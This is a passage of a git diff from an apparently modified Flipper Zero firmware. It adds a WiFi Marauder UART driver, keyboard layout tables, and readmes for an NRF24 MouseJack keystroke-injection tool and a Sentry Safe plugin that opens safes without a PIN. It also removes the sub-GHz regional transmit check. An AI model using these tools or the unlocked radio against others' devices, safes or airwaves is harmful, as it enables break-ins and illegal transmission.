StreamBufferHandle_t rx_stream; + uint8_t rx_buf[RX_BUF_SIZE+1]; + void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context); +}; + +typedef enum { + WorkerEvtStop = (1 << 0), + WorkerEvtRxDone = (1 << 1), +} WorkerEvtFlags; + +void wifi_marauder_uart_set_handle_rx_data_cb(WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context)) { + furi_assert(uart); + uart->handle_rx_data_cb = handle_rx_data_cb; +} + +#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) + +void wifi_marauder_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { + WifiMarauderUart* uart = (WifiMarauderUart*)context; + BaseType_t xHigherPriorityTaskWoken = pdFALSE; + + if(ev == UartIrqEventRXNE) { + xStreamBufferSendFromISR(uart->rx_stream, &data, 1, &xHigherPriorityTaskWoken); + furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone); + portYIELD_FROM_ISR(xHigherPriorityTaskWoken); + } +} + +static int32_t uart_worker(void* context) { + WifiMarauderUart* uart = (void*)context; + + uart->rx_stream = xStreamBufferCreate(RX_BUF_SIZE, 1); + + while(1) { + uint32_t events = + furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); + furi_check((events & FuriFlagError) == 0); + if(events & WorkerEvtStop) break; + if(events & WorkerEvtRxDone) { + size_t len = + xStreamBufferReceive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); + if(len > 0) { + if (uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); + } + } + } + + vStreamBufferDelete(uart->rx_stream); + + return 0; +} + +void wifi_marauder_uart_tx(uint8_t *data, size_t len) { + furi_hal_uart_tx(UART_CH, data, len); +} + +WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app) { + WifiMarauderUart *uart = malloc(sizeof(WifiMarauderUart)); + + furi_hal_console_disable(); + furi_hal_uart_set_br(UART_CH, BAUDRATE); + furi_hal_uart_set_irq_cb(UART_CH, wifi_marauder_uart_on_irq_cb, uart); + + uart->app = app; + uart->rx_thread = furi_thread_alloc(); + furi_thread_set_name(uart->rx_thread, "WifiMarauderUartRxThread"); + furi_thread_set_stack_size(uart->rx_thread, 1024); + furi_thread_set_context(uart->rx_thread, uart); + furi_thread_set_callback(uart->rx_thread, uart_worker); + + furi_thread_start(uart->rx_thread); + return uart; +} + +void wifi_marauder_uart_free(WifiMarauderUart* uart) { + furi_assert(uart); + + furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop); + furi_thread_join(uart->rx_thread); + furi_thread_free(uart->rx_thread); + + furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL); + furi_hal_console_enable(); + + free(uart); +} \ No newline at end of file diff --git a/applications/wifi_marauder_companion/wifi_marauder_uart.h b/applications/wifi_marauder_companion/wifi_marauder_uart.h new file mode 100644 index 000000000..85dd7ee08 --- /dev/null +++ b/applications/wifi_marauder_companion/wifi_marauder_uart.h @@ -0,0 +1,12 @@ +#pragma once + +#include "furi_hal.h" + +#define RX_BUF_SIZE (320) + +typedef struct WifiMarauderUart WifiMarauderUart; + +void wifi_marauder_uart_set_handle_rx_data_cb(WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t *buf, size_t len, void* context)); +void wifi_marauder_uart_tx(uint8_t *data, size_t len); +WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app); +void wifi_marauder_uart_free(WifiMarauderUart* uart); diff --git a/assets/resources/Manifest b/assets/resources/Manifest index e0158bae5..b9dad13ab 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1658859390 +T:1659104936 D:badusb D:dolphin D:infrared @@ -232,6 +232,7 @@ F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc F:12674515290ad9edcabc82f7695350f8:50737:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo +F:20b3d7ea34e38425ce3a3d2a548cc730:138:subghz/assets/dangerous_settings F:111d2b8df83e27fd889fc5e270297865:3231:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s diff --git a/assets/resources/subghz/assets/dangerous_settings b/assets/resources/subghz/assets/dangerous_settings new file mode 100644 index 000000000..3d20a1f54 --- /dev/null +++ b/assets/resources/subghz/assets/dangerous_settings @@ -0,0 +1,2 @@ +# Do you want to damage your flipper CC1101 radio chip by using Frequencies that outside HW specs? +yes_i_want_to_destroy_my_flipper: false \ No newline at end of file diff --git a/documentation/BarcodeGenerator.md b/documentation/BarcodeGenerator.md new file mode 100644 index 000000000..1dce6f3fb --- /dev/null +++ b/documentation/BarcodeGenerator.md @@ -0,0 +1,15 @@ +This is a UPC-A Barcode generator for the flipper zero hardware. + +## Author: [McAzzaMan](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) + + + +It will eventually be expanded in to other barcode types. It currently only generates UPC-A type barcodes. + + + + -Controls-
+Hitting the centre button on the flipper toggles edit mode. +When in edit mode, left and right will change the digit to be changed, and up and down will adjust the digit value. + + diff --git a/documentation/NRF24.md b/documentation/NRF24.md new file mode 100644 index 000000000..d3c617901 --- /dev/null +++ b/documentation/NRF24.md @@ -0,0 +1,48 @@ +# flipperzero-nrf24 + +## Author: [mothball187](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) + +An [NRF24](https://www.sparkfun.com/datasheets/Components/SMD/nRF24L01Pluss_Preliminary_Product_Specification_v1_0.pdf) driver for the [Flipper Zero](https://flipperzero.one/) device. The NRF24 is a popular line of 2.4GHz radio transceivers from Nordic Semiconductors. This library is not currently complete, but functional. + +# How to use +- Connect NRF24 to flipper using provided pinouts +- Open NRF24: Sniffer, and scan channels, switch between modes/channels using buttons +- When you got address -> Open NRF24: Mouse Jacker +- Select Address and open badusb file +- Done + +## Warning +These apps are for **educational purposes** only. Please use this code responsibly and only use these apps on your own equipment. + +## Acknowledgments +The NRF24 sniffing technique was discovered and shared by Travis Goodspeed in [his blog](http://travisgoodspeed.blogspot.com/2011/02/promiscuity-is-nrf24l01s-duty.html). + +The mousejack vulnerabilities were discovered and reported by Marc Newlin, see [the blog](https://www.bastille.net/research/vulnerabilities/mousejack/technical-details) for technical details. + +Much of the driver code was inspired by [RadioHead's Arduino library](https://www.airspayce.com/mikem/arduino/RadioHead/classRH__NRF24.html). +Much of the mousejack code was inspired by the [Jackit project](https://github.com/insecurityofthings/jackit). + + +# Pinout from from NoComp/Frog + + +# Mousejacker / NRF24 pinout by UberGuidoZ +2/A7 on FZ goes to MOSI/6 on nrf24l01
+3/A6 on FZ goes to MISO/7 on nrf24l01
+4/A4 on FZ goes to CSN/4 on nrf24l01
+5/B3 on FZ goes to SCK/5 on nrf24l01
+6/B2 on FZ goes to CE/3 on nrf24l01
+8/GND on FZ goes to GND/1 on nrf24l01
+9/3V3 on FZ goes to VCC/2 on nrf24l01
+IRQ/8 is left disconnected on nrf24l01
+ +![NRF_Pins](https://user-images.githubusercontent.com/57457139/178093717-39effd5c-ebe2-4253-b13c-70517d7902f9.png) + +If the nRF module is acting a bit flakey, try adding a capacitor to the vcc/gnd lines! +I've not tried the Plus model so it may have a bigger need for a cap. +Otherwise, I haven't had any major issues. +Anything from a 3.3 uF to 10 uF should do. (Watch your positive/negative placement! Negative to ground.) +I learned if you wanna get fancy, include a 0.1 uF cap in parallel. +The 3.3 uF to 10 uF will respond to slow freq changes while the 0.1 uF will respond to the high freq switching spikes that the larger one cannot. That said, a single 10 uF will likely suffice for the Mousejack attack. ¯\\\_(ツ)_/¯ + +![NRF_Capacitor](https://user-images.githubusercontent.com/57457139/178169959-d030f9a6-d2ac-46af-af8b-470ff092c8a7.jpg) diff --git a/documentation/SentrySafe.md b/documentation/SentrySafe.md new file mode 100644 index 000000000..ba90186f2 --- /dev/null +++ b/documentation/SentrySafe.md @@ -0,0 +1,17 @@ +# Sentry Safe plugin + +## Author: [H4ckd4ddy](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) + +Flipper zero exploiting vulnerability to open any Sentry Safe and Master Lock electronic safe without any pin code. + +[Vulnerability described here](https://github.com/H4ckd4ddy/bypass-sentry-safe) + +### Usage + +- Start "Sentry Safe" plugin +- Place wires as described on the plugin screen +
(Flipper GPIO) 8/GND -> Black wire (Safe) +
(Flipper GPIO) 15/C1 -> Green wire (Safe) + +- Press enter +- Open safe diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 15eb7060b..f8e998be1 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -10,6 +10,8 @@ #include +#include + #include #include #include @@ -284,10 +286,35 @@ uint8_t furi_hal_subghz_get_lqi() { return data[0] & 0x7F; } +/* + Modified by @tkerby to the full YARD Stick One extended range of 281-361 MHz, 378-481 MHz, and 749-962 MHz. + These changes are at your own risk. The PLL may not lock and FZ devs have warned of possible damage! + */ bool furi_hal_subghz_is_frequency_valid(uint32_t value) { + bool is_extended = false; + + // TODO: Move file check to another place + Storage* storage = furi_record_open("storage"); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + + if(flipper_format_file_open_existing(fff_data_file, "/ext/subghz/assets/dangerous_settings")) { + flipper_format_read_bool( + fff_data_file, "yes_i_want_to_destroy_my_flipper", &is_extended, 1); + } + + flipper_format_free(fff_data_file); + furi_record_close("storage"); + if(!(value >= 299999755 && value <= 348000335) && !(value >= 386999938 && value <= 464000000) && - !(value >= 778999847 && value <= 928000000)) { + !(value >= 778999847 && value <= 928000000) && !(is_extended)) { + FURI_LOG_I(TAG, "Frequency blocked - outside default range"); + return false; + } else if( + !(value >= 281000000 && value <= 361000000) && + !(value >= 378000000 && value <= 481000000) && + !(value >= 749000000 && value <= 962000000) && is_extended) { + FURI_LOG_I(TAG, "Frequency blocked - outside dangerous range"); return false; } @@ -295,12 +322,13 @@ bool furi_hal_subghz_is_frequency_valid(uint32_t value) { } uint32_t furi_hal_subghz_set_frequency_and_path(uint32_t value) { + // Set these values to the extended frequency range only. They dont define if you can transmit but do select the correct RF path value = furi_hal_subghz_set_frequency(value); - if(value >= 299999755 && value <= 348000335) { + if(value >= 281000000 && value <= 361000000) { furi_hal_subghz_set_path(FuriHalSubGhzPath315); - } else if(value >= 386999938 && value <= 464000000) { + } else if(value >= 378000000 && value <= 481000000) { furi_hal_subghz_set_path(FuriHalSubGhzPath433); - } else if(value >= 778999847 && value <= 928000000) { + } else if(value >= 749000000 && value <= 962000000) { furi_hal_subghz_set_path(FuriHalSubGhzPath868); } else { furi_crash("SubGhz: Incorrect frequency during set."); @@ -309,13 +337,8 @@ uint32_t furi_hal_subghz_set_frequency_and_path(uint32_t value) { } bool furi_hal_subghz_is_tx_allowed(uint32_t value) { + UNUSED(value); // Removed region check - if(!(value >= 299999755 && value <= 348000335) && - !(value >= 386999938 && value <= 464000000) && - !(value >= 778999847 && value <= 928000000)) { - return false; - } - return true; } diff --git a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h index 97bac7f04..997cacc56 100644 --- a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h +++ b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h @@ -21,7 +21,7 @@ enum HidKeyboardMods { KEY_MOD_RIGHT_GUI = (1 << 15), }; -/** ASCII to keycode conversion table */ +/** ASCII to keycode conversion table US */ static const uint16_t hid_asciimap[] = { HID_KEYBOARD_NONE, // NUL HID_KEYBOARD_NONE, // SOH @@ -153,6 +153,480 @@ static const uint16_t hid_asciimap[] = { HID_KEYBOARD_NONE, // DEL }; +/** HID keyboard key codes DE */ +enum HidKeyboardKeysDE { + HID_KEYBOARD_DE_ERROR_ROLLOVER = 0x01, + HID_KEYBOARD_DE_POST_FAIL = 0x02, + HID_KEYBOARD_DE_ERROR_UNDEFINED = 0x03, + + HID_KEYBOARD_DE_ENTER = 0x28, + HID_KEYBOARD_DE_ESC = 0x29, + HID_KEYBOARD_DE_BACKSPACE = 0x2A, + HID_KEYBOARD_DE_TAB = 0x2B, + HID_KEYBOARD_DE_SPACE = 0x2C, + + HID_KEYBOARD_DE_A = 0x04, + HID_KEYBOARD_DE_B = 0x05, + HID_KEYBOARD_DE_C = 0x06, + HID_KEYBOARD_DE_D = 0x07, + HID_KEYBOARD_DE_E = 0x08, + HID_KEYBOARD_DE_F = 0x09, + HID_KEYBOARD_DE_G = 0x0A, + HID_KEYBOARD_DE_H = 0x0B, + HID_KEYBOARD_DE_I = 0x0C, + HID_KEYBOARD_DE_J = 0x0D, + HID_KEYBOARD_DE_K = 0x0E, + HID_KEYBOARD_DE_L = 0x0F, + HID_KEYBOARD_DE_M = 0x10, + HID_KEYBOARD_DE_N = 0x11, + HID_KEYBOARD_DE_O = 0x12, + HID_KEYBOARD_DE_P = 0x13, + HID_KEYBOARD_DE_Q = 0x14, + HID_KEYBOARD_DE_R = 0x15, + HID_KEYBOARD_DE_S = 0x16, + HID_KEYBOARD_DE_T = 0x17, + HID_KEYBOARD_DE_U = 0x18, + HID_KEYBOARD_DE_V = 0x19, + HID_KEYBOARD_DE_W = 0x1A, + HID_KEYBOARD_DE_X = 0x1B, + HID_KEYBOARD_DE_Y = 0x1D, + HID_KEYBOARD_DE_Z = 0x1C, + + HID_KEYBOARD_DE_1 = 0x1E, + HID_KEYBOARD_DE_2 = 0x1F, + HID_KEYBOARD_DE_3 = 0x20, + HID_KEYBOARD_DE_4 = 0x21, + HID_KEYBOARD_DE_5 = 0x22, + HID_KEYBOARD_DE_6 = 0x23, + HID_KEYBOARD_DE_7 = 0x24, + HID_KEYBOARD_DE_8 = 0x25, + HID_KEYBOARD_DE_9 = 0x26, + HID_KEYBOARD_DE_0 = 0x27, + + HID_KEYBOARD_DE_EXCLAMATION = 0x1E, + HID_KEYBOARD_DE_DOUBLE_QUOTE = 0x1F, + HID_KEYBOARD_DE_DOLLAR = 0x21, + HID_KEYBOARD_DE_PERCENT = 0x22, + HID_KEYBOARD_DE_AND = 0x23, + HID_KEYBOARD_DE_SINGLE_QUOTE = 0x31, //tocheck + HID_KEYBOARD_DE_LEFT_PARENTHESIS = 0x25, + HID_KEYBOARD_DE_RIGHT_PARENTHESIS = 0x26, + HID_KEYBOARD_DE_STAR = 0x30, + HID_KEYBOARD_DE_EQUAL = 0x27, + HID_KEYBOARD_DE_COMMA = 0x36, + HID_KEYBOARD_DE_DASH = 0x38, + HID_KEYBOARD_DE_SEMI_COLON = 0x36, + HID_KEYBOARD_DE_DOUBLE_POINTS = 0x37, + HID_KEYBOARD_DE_SMALLER = 0x64, //todo + HID_KEYBOARD_DE_UNDERSCORE = 0x38, + HID_KEYBOARD_DE_CIRCUMFLEX = 0x35, //tocheck + HID_KEYBOARD_DE_BACKTICK = 0x2E, + + HID_KEYBOARD_DE_CAPS_LOCK = 0xC1, + HID_KEYBOARD_DE_F1 = 0xC2, + HID_KEYBOARD_DE_F2 = 0xC3, + HID_KEYBOARD_DE_F3 = 0xC4, + HID_KEYBOARD_DE_F4 = 0xC5, + HID_KEYBOARD_DE_F5 = 0xC6, + HID_KEYBOARD_DE_F6 = 0xC7, + HID_KEYBOARD_DE_F7 = 0xC8, + HID_KEYBOARD_DE_F8 = 0xC9, + HID_KEYBOARD_DE_F9 = 0xCA, + HID_KEYBOARD_DE_F10 = 0xCB, + HID_KEYBOARD_DE_F11 = 0xCC, + HID_KEYBOARD_DE_F12 = 0xCD, + HID_KEYBOARD_DE_PRINT = 0x63, + HID_KEYBOARD_DE_SCROLL_LOCK = 0x47, + HID_KEYBOARD_DE_PAUSE = 0x48, + HID_KEYBOARD_DE_INSERT = 0xD1, + HID_KEYBOARD_DE_HOME = 0xD2, + HID_KEYBOARD_DE_PAGE_UP = 0xD3, + HID_KEYBOARD_DE_DELETE = 0xD4, + HID_KEYBOARD_DE_END = 0xD5, + HID_KEYBOARD_DE_PAGE_DOWN = 0xD6, + HID_KEYBOARD_DE_RIGHT_ARROW = 0xD7, + HID_KEYBOARD_DE_LEFT_ARROW = 0xD8, + HID_KEYBOARD_DE_DOWN_ARROW = 0xD9, + HID_KEYBOARD_DE_UP_ARROW = 0xDA, + HID_KEYBOARD_DE_NUM_LOCK = 0x53, + HID_KEYBOARD_DE_NON_US = 0x64, + HID_KEYBOARD_DE_APPLICATION = 0x65, + + HID_KEYBOARD_DE_SHARP_SS = 0x2D, +}; + +/** ASCII to keycode conversion table DE */ +static const uint16_t hid_asciimap_de[] = { + HID_KEYBOARD_NONE, // NUL + HID_KEYBOARD_NONE, // SOH + HID_KEYBOARD_NONE, // STX + HID_KEYBOARD_NONE, // ETX + HID_KEYBOARD_NONE, // EOT + HID_KEYBOARD_NONE, // ENQ + HID_KEYBOARD_NONE, // ACK + HID_KEYBOARD_NONE, // BEL + HID_KEYBOARD_DE_BACKSPACE, // BS Backspace + HID_KEYBOARD_DE_TAB, // TAB Tab + HID_KEYBOARD_DE_ENTER, // LF Enter + HID_KEYBOARD_NONE, // VT + HID_KEYBOARD_NONE, // FF + HID_KEYBOARD_NONE, // CR + HID_KEYBOARD_NONE, // SO + HID_KEYBOARD_NONE, // SI + HID_KEYBOARD_NONE, // DEL + HID_KEYBOARD_NONE, // DC1 + HID_KEYBOARD_NONE, // DC2 + HID_KEYBOARD_NONE, // DC3 + HID_KEYBOARD_NONE, // DC4 + HID_KEYBOARD_NONE, // NAK + HID_KEYBOARD_NONE, // SYN + HID_KEYBOARD_NONE, // ETB + HID_KEYBOARD_NONE, // CAN + HID_KEYBOARD_NONE, // EM + HID_KEYBOARD_NONE, // SUB + HID_KEYBOARD_NONE, // ESC + HID_KEYBOARD_NONE, // FS + HID_KEYBOARD_NONE, // GS + HID_KEYBOARD_NONE, // RS + HID_KEYBOARD_NONE, // US + HID_KEYBOARD_DE_SPACE, // ' ' Space + HID_KEYBOARD_DE_EXCLAMATION | KEY_MOD_LEFT_SHIFT, // ! + HID_KEYBOARD_DE_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // " + HID_KEYBOARD_DE_SINGLE_QUOTE, // # + HID_KEYBOARD_DE_DOLLAR | KEY_MOD_LEFT_SHIFT, // $ + HID_KEYBOARD_DE_PERCENT | KEY_MOD_LEFT_SHIFT, // % + HID_KEYBOARD_DE_AND | KEY_MOD_LEFT_SHIFT, // & + HID_KEYBOARD_DE_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // ' + HID_KEYBOARD_DE_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ( + HID_KEYBOARD_DE_RIGHT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ) + HID_KEYBOARD_DE_STAR | KEY_MOD_LEFT_SHIFT, // * + HID_KEYBOARD_DE_STAR, // + + HID_KEYBOARD_DE_COMMA, // , + HID_KEYBOARD_DE_DASH, // - + HID_KEYBOARD_DE_DOUBLE_POINTS, // . + HID_KEYBOARD_DE_7 | KEY_MOD_LEFT_SHIFT, // / + HID_KEYBOARD_DE_0, // 0 + HID_KEYBOARD_DE_1, // 1 + HID_KEYBOARD_DE_2, // 2 + HID_KEYBOARD_DE_3, // 3 + HID_KEYBOARD_DE_4, // 4 + HID_KEYBOARD_DE_5, // 5 + HID_KEYBOARD_DE_6, // 6 + HID_KEYBOARD_DE_7, // 7 + HID_KEYBOARD_DE_8, // 8 + HID_KEYBOARD_DE_9, // 9 + HID_KEYBOARD_DE_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // : + HID_KEYBOARD_DE_SEMI_COLON | KEY_MOD_LEFT_SHIFT, // ; + HID_KEYBOARD_DE_SMALLER, // < + HID_KEYBOARD_DE_EQUAL | KEY_MOD_LEFT_SHIFT, // = + HID_KEYBOARD_DE_SMALLER | KEY_MOD_LEFT_SHIFT, // > + HID_KEYBOARD_DE_SHARP_SS | KEY_MOD_LEFT_SHIFT, // ? + HID_KEYBOARD_DE_Q | KEY_MOD_RIGHT_ALT, // @ + HID_KEYBOARD_DE_A | KEY_MOD_LEFT_SHIFT, // A + HID_KEYBOARD_DE_B | KEY_MOD_LEFT_SHIFT, // B + HID_KEYBOARD_DE_C | KEY_MOD_LEFT_SHIFT, // C + HID_KEYBOARD_DE_D | KEY_MOD_LEFT_SHIFT, // D + HID_KEYBOARD_DE_E | KEY_MOD_LEFT_SHIFT, // E + HID_KEYBOARD_DE_F | KEY_MOD_LEFT_SHIFT, // F + HID_KEYBOARD_DE_G | KEY_MOD_LEFT_SHIFT, // G + HID_KEYBOARD_DE_H | KEY_MOD_LEFT_SHIFT, // H + HID_KEYBOARD_DE_I | KEY_MOD_LEFT_SHIFT, // I + HID_KEYBOARD_DE_J | KEY_MOD_LEFT_SHIFT, // J + HID_KEYBOARD_DE_K | KEY_MOD_LEFT_SHIFT, // K + HID_KEYBOARD_DE_L | KEY_MOD_LEFT_SHIFT, // L + HID_KEYBOARD_DE_M | KEY_MOD_LEFT_SHIFT, // M + HID_KEYBOARD_DE_N | KEY_MOD_LEFT_SHIFT, // N + HID_KEYBOARD_DE_O | KEY_MOD_LEFT_SHIFT, // O + HID_KEYBOARD_DE_P | KEY_MOD_LEFT_SHIFT, // P + HID_KEYBOARD_DE_Q | KEY_MOD_LEFT_SHIFT, // Q + HID_KEYBOARD_DE_R | KEY_MOD_LEFT_SHIFT, // R + HID_KEYBOARD_DE_S | KEY_MOD_LEFT_SHIFT, // S + HID_KEYBOARD_DE_T | KEY_MOD_LEFT_SHIFT, // T + HID_KEYBOARD_DE_U | KEY_MOD_LEFT_SHIFT, // U + HID_KEYBOARD_DE_V | KEY_MOD_LEFT_SHIFT, // V + HID_KEYBOARD_DE_W | KEY_MOD_LEFT_SHIFT, // W + HID_KEYBOARD_DE_X | KEY_MOD_LEFT_SHIFT, // X + HID_KEYBOARD_DE_Y | KEY_MOD_LEFT_SHIFT, // Y + HID_KEYBOARD_DE_Z | KEY_MOD_LEFT_SHIFT, // Z + HID_KEYBOARD_DE_LEFT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // [ + HID_KEYBOARD_DE_SHARP_SS | KEY_MOD_RIGHT_ALT, // bslash + HID_KEYBOARD_DE_RIGHT_PARENTHESIS | KEY_MOD_RIGHT_ALT, // ] + HID_KEYBOARD_DE_CIRCUMFLEX, // ^ + HID_KEYBOARD_DE_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // _ + HID_KEYBOARD_DE_BACKTICK | KEY_MOD_LEFT_SHIFT, // ` + HID_KEYBOARD_DE_A, // a + HID_KEYBOARD_DE_B, // b + HID_KEYBOARD_DE_C, // c + HID_KEYBOARD_DE_D, // d + HID_KEYBOARD_DE_E, // e + HID_KEYBOARD_DE_F, // f + HID_KEYBOARD_DE_G, // g + HID_KEYBOARD_DE_H, // h + HID_KEYBOARD_DE_I, // i + HID_KEYBOARD_DE_J, // j + HID_KEYBOARD_DE_K, // k + HID_KEYBOARD_DE_L, // l + HID_KEYBOARD_DE_M, // m + HID_KEYBOARD_DE_N, // n + HID_KEYBOARD_DE_O, // o + HID_KEYBOARD_DE_P, // p + HID_KEYBOARD_DE_Q, // q + HID_KEYBOARD_DE_R, // r + HID_KEYBOARD_DE_S, // s + HID_KEYBOARD_DE_T, // t + HID_KEYBOARD_DE_U, // u + HID_KEYBOARD_DE_V, // v + HID_KEYBOARD_DE_W, // w + HID_KEYBOARD_DE_X, // x + HID_KEYBOARD_DE_Y, // y + HID_KEYBOARD_DE_Z, // z + HID_KEYBOARD_DE_7 | KEY_MOD_RIGHT_ALT, // { + HID_KEYBOARD_DE_SMALLER | KEY_MOD_RIGHT_ALT, // | + HID_KEYBOARD_DE_0 | KEY_MOD_RIGHT_ALT, // } + HID_KEYBOARD_DE_STAR | KEY_MOD_RIGHT_ALT, // ~ + HID_KEYBOARD_NONE, // DEL +}; + +/** HID keyboard key codes FR */ +enum HidKeyboardKeysFR { + HID_KEYBOARD_FR_ERROR_ROLLOVER = 0x01, + HID_KEYBOARD_FR_POST_FAIL = 0x02, + HID_KEYBOARD_FR_ERROR_UNDEFINED = 0x03, + + HID_KEYBOARD_FR_ENTER = 0x28, + HID_KEYBOARD_FR_ESC = 0x29, + HID_KEYBOARD_FR_BACKSPACE = 0x2A, + HID_KEYBOARD_FR_TAB = 0x2B, + HID_KEYBOARD_FR_SPACE = 0x2C, + + HID_KEYBOARD_FR_A = 0x14, + HID_KEYBOARD_FR_B = 0x05, + HID_KEYBOARD_FR_C = 0x06, + HID_KEYBOARD_FR_D = 0x07, + HID_KEYBOARD_FR_E = 0x08, + HID_KEYBOARD_FR_F = 0x09, + HID_KEYBOARD_FR_G = 0x0A, + HID_KEYBOARD_FR_H = 0x0B, + HID_KEYBOARD_FR_I = 0x0C, + HID_KEYBOARD_FR_J = 0x0D, + HID_KEYBOARD_FR_K = 0x0E, + HID_KEYBOARD_FR_L = 0x0F, + HID_KEYBOARD_FR_M = 0x33, + HID_KEYBOARD_FR_N = 0x11, + HID_KEYBOARD_FR_O = 0x12, + HID_KEYBOARD_FR_P = 0x13, + HID_KEYBOARD_FR_Q = 0x04, + HID_KEYBOARD_FR_R = 0x15, + HID_KEYBOARD_FR_S = 0x16, + HID_KEYBOARD_FR_T = 0x17, + HID_KEYBOARD_FR_U = 0x18, + HID_KEYBOARD_FR_V = 0x19, + HID_KEYBOARD_FR_W = 0x1D, + HID_KEYBOARD_FR_X = 0x1B, + HID_KEYBOARD_FR_Y = 0x1C, + HID_KEYBOARD_FR_Z = 0x1A, + + HID_KEYBOARD_FR_1 = 0x1E, + HID_KEYBOARD_FR_2 = 0x1F, + HID_KEYBOARD_FR_3 = 0x20, + HID_KEYBOARD_FR_4 = 0x21, + HID_KEYBOARD_FR_5 = 0x22, + HID_KEYBOARD_FR_6 = 0x23, + HID_KEYBOARD_FR_7 = 0x24, + HID_KEYBOARD_FR_8 = 0x25, + HID_KEYBOARD_FR_9 = 0x26, + HID_KEYBOARD_FR_0 = 0x27, + + HID_KEYBOARD_FR_EXCLAMATION = 0x38, + HID_KEYBOARD_FR_DOUBLE_QUOTE = 0x20, + HID_KEYBOARD_FR_DOLLAR = 0x30, + HID_KEYBOARD_FR_U_BACKTICK = 0x34, + HID_KEYBOARD_FR_AND = 0x1E, + HID_KEYBOARD_FR_SINGLE_QUOTE = 0x21, + HID_KEYBOARD_FR_LEFT_PARENTHESIS = 0x22, + HID_KEYBOARD_FR_RIGHT_PARENTHESIS = 0x2D, + HID_KEYBOARD_FR_STAR = 0x31, + HID_KEYBOARD_FR_EQUAL = 0x2E, + HID_KEYBOARD_FR_COMMA = 0x10, + HID_KEYBOARD_FR_DASH = 0x23, + HID_KEYBOARD_FR_SEMI_COLON = 0x36, + HID_KEYBOARD_FR_DOUBLE_POINTS = 0x37, + HID_KEYBOARD_FR_SMALLER = 0x64, + HID_KEYBOARD_FR_UNDERSCORE = 0x25, + HID_KEYBOARD_FR_CIRCUMFLEX = 0x2F, + HID_KEYBOARD_FR_A_BACKTICK = 0x27, + HID_KEYBOARD_FR_E_ACCENT = 0x1F, + HID_KEYBOARD_FR_E_BACKTICK = 0x24, + HID_KEYBOARD_FR_C_CEDILLE = 0x26, + + HID_KEYBOARD_FR_CAPS_LOCK = 0xC1, + HID_KEYBOARD_FR_F1 = 0xC2, + HID_KEYBOARD_FR_F2 = 0xC3, + HID_KEYBOARD_FR_F3 = 0xC4, + HID_KEYBOARD_FR_F4 = 0xC5, + HID_KEYBOARD_FR_F5 = 0xC6, + HID_KEYBOARD_FR_F6 = 0xC7, + HID_KEYBOARD_FR_F7 = 0xC8, + HID_KEYBOARD_FR_F8 = 0xC9, + HID_KEYBOARD_FR_F9 = 0xCA, + HID_KEYBOARD_FR_F10 = 0xCB, + HID_KEYBOARD_FR_F11 = 0xCC, + HID_KEYBOARD_FR_F12 = 0xCD, + HID_KEYBOARD_FR_PRINT = 0x63, + HID_KEYBOARD_FR_SCROLL_LOCK = 0x47, + HID_KEYBOARD_FR_PAUSE = 0x48, + HID_KEYBOARD_FR_INSERT = 0xD1, + HID_KEYBOARD_FR_HOME = 0xD2, + HID_KEYBOARD_FR_PAGE_UP = 0xD3, + HID_KEYBOARD_FR_DELETE = 0xD4, + HID_KEYBOARD_FR_END = 0xD5, + HID_KEYBOARD_FR_PAGE_DOWN = 0xD6, + HID_KEYBOARD_FR_RIGHT_ARROW = 0xD7, + HID_KEYBOARD_FR_LEFT_ARROW = 0xD8, + HID_KEYBOARD_FR_DOWN_ARROW = 0xD9, + HID_KEYBOARD_FR_UP_ARROW = 0xDA, + HID_KEYBOARD_FR_NUM_LOCK = 0x53, + HID_KEYBOARD_FR_NON_US = 0x64, + HID_KEYBOARD_FR_APPLICATION = 0x65, +}; + +/** ASCII to keycode conversion table FR */ +static const uint16_t hid_asciimap_fr[] = { + HID_KEYBOARD_NONE, // NUL + HID_KEYBOARD_NONE, // SOH + HID_KEYBOARD_NONE, // STX + HID_KEYBOARD_NONE, // ETX + HID_KEYBOARD_NONE, // EOT + HID_KEYBOARD_NONE, // ENQ + HID_KEYBOARD_NONE, // ACK + HID_KEYBOARD_NONE, // BEL + HID_KEYBOARD_FR_BACKSPACE, // BS Backspace + HID_KEYBOARD_FR_TAB, // TAB Tab + HID_KEYBOARD_FR_ENTER, // LF Enter 